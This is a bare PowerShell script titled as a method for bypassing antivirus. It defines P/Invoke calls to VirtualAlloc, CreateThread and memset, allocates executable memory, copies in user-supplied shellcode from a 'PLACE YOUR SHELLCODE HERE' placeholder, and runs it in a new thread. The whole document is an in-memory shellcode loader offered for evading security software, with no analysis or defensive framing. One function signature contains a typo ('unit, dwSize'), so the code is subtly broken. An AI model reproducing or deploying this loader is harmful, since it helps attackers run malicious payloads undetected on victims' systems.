bypassing antivirus using PowerShell Injection method - Code

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, unit, dwSize, uint fAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc =
    Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = PLACE YOUR SHELLCODE HERE;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) {Start-sleep 60};